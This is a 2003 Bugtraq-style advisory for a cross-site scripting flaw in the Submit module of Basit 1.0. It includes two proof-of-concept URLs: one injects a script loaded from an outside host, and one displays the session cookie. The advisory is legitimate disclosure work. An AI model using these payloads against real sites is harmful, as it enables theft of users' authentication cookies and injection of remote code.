Basit Submit Module Cross Site Scripting Vulnerability

Bugtraq ID:	7139
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 19 2003 12:00AM
Updated:	Mar 19 2003 12:00AM
Credit:	Discovery of this vulnerability credited to Ertan Kurt <[email protected]>.
Vulnerable:	Basit Basit 1.0
Not Vulnerable:

Basit Submit Module Cross Site Scripting Vulnerability

A cross-site scripting vulnerability has been reported for Basit. This vulnerability occurs due to insufficient sanitization of some user-supplied input. As a result of this deficiency an attacker may exploit the vulnerability by creating a specially crafted URL that includes malicious HTML code as URI parameters for Basit's Submit module.

This may allow for theft of cookie-based authentication credentials and other attacks.

Basit Submit Module Cross Site Scripting Vulnerability

The following proof of concepts were provided:

http://target/modules/Submit/index.php?op=pre&title=<script%20src="http://othersite/code.js">test</script>
http://target/modules/Submit/index.php?op=pre&title=<script>alert(document.cookie);</script>

Basit Submit Module Cross Site Scripting Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Basit Submit Module Cross Site Scripting Vulnerability

References:

• Basit (Basit)
  
• Some XSS vulns (Ertan Kurt )